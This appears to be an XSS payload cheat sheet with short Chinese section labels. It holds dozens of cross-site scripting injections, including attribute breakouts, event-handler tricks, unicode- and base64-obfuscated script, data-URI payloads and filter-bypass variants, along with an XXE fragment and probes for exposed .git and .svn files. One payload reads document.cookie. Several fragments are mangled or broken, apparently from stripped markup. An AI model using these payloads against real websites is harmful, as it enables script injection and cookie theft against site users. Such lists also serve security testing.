#跳转 x

markdown xss: 输入：[test](javascript://%0d%0aprompt(1);com) 输出：test ]> &xxe; "> ' \u0022\u003E /.svn/entries /.git/config 最短 b data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== 畸形xss
XSS'OR
XSS'OR
XSS'OR alert(1)]]> 浏览器弄死 input标签

click me!

...> <input/type='submit'>// <a/href="javascript: javascript:prompt(1)"><input type="X"> <input value=<><iframe/src=javascript:confirm(1) <input type="text" value=`` <div/onmouseover='alert(1)'>X</div> <div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div> <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);"> <input/onmouseover="javaSCRIPT&colon;confirm(1)" </style  ><script   :-(>/**/alert(document.location)/**/</script   :-( </form><input type="date" onfocus="alert(1)"> <form oninput="alert(1)"><input type="range" <input type="text" value=""onresize=pompt(1) "> // IE 10 docmode <form action="Javascript:alert(1)"><input type=submit> // Firefox, IE <input type="text"value=""onclick="location=window[`atob`]`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21ha W4p`"/> <input type="text" value=""onfocus=location='javascript:alert`1`' autofocus""/> <script>a=`jackmasa<!--<script/\`;</script> <input value="${alert(1)}`</script/"> <script>a=`jackmasa<!--<script/\`;</script> <input value="${alert(1)}`</script/"> <input/onmouseover="javaSCRIPT&colon;confirm(1)" </form><input type="date" onfocus="alert(1)"> //<form/action=javascript:alert(document&period;cookie)><input/type='submit'>// <a/href="javascript: javascript:prompt(1)"><input type="X"> <input type="text" value=`` <div/onmouseover='alert(1)'>X</div> <input type=text name=foo value=a><script>?<script>> <input type=text name=foo value=''onevent=?//'> <input type=text name=foo value=""onevent=?//"> </script>"><script>prompt(1)</script> </ScRiPt>"><ScRiPt>prompt(1)</ScRiPt> "><img src=x onerror=prompt(1)> "><svg/onload=prompt(1)> "><iframe/src=javascript:prompt(1)> "><h1 onclick=prompt(1)>Clickme</h1> "><a href=javascript:prompt(1)>Clickme</a> "><a href="javascript:confirm%28 1%29">Clickme</a> "><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a> "><textarea autofocus onfocus=prompt(1)> "><a/href=javascript&colon;co\u006efir\u006d("1")>clickme</a> "><script>co\u006efir\u006d`1`</script> "><ScRiPt>co\u006efir\u006d`1`</ScRiPt> "><img src=x onerror=co\u006efir\u006d`1`> "><svg/onload=co\u006efir\u006d`1`> "><iframe/src=javascript:co\u006efir\u006d%28 1%29> "><h1 onclick=co\u006efir\u006d(1)>Clickme</h1> "><a href=javascript:prompt%28 1%29>Clickme</a> "><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a> "><textarea autofocus onfocus=co\u006efir\u006d(1)> "><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome "><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme "><img/src=x%0Aonerror=prompt`1`> "><iframe srcdoc="<img src=x:x onerror=alert(1)>"> "><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1> XSS_RANDOM_FLAG_{yuweyAAAA923892389328nsdsdjjkmxcmxnm} setTimeout <svg/onload=setTimeout('ale'+'rt(1)',0)> 过滤双引号 <input onfocus=alert(1) autofocus> <select onfocus=alert(1) autofocus> chrome <img src ?itworksonchrome?\/onerror = alert(1)> data形式 <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></object> <embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></embed> <script src=data:%26comma;alert(1)></script> ontoggle <details open ontoggle="alert('已是黄昏独自愁，一枝红杏出墙来')"> frame <frame src="javascript:alert(1)"> <frame src="javascript:%20%0aalert%20%0d %09(1)"> iframe <iframe srcdoc="<img src=x:x onerror=alert(1)>" /> url加密绕圆括号（20170328） <svg onload='JavascRipT:alert%281%29'> <svg/onload ="location='jav'+'ascript'+':%2'+'0aler'+'t%20%2'+'81%'+'29'"> other <audio src <video src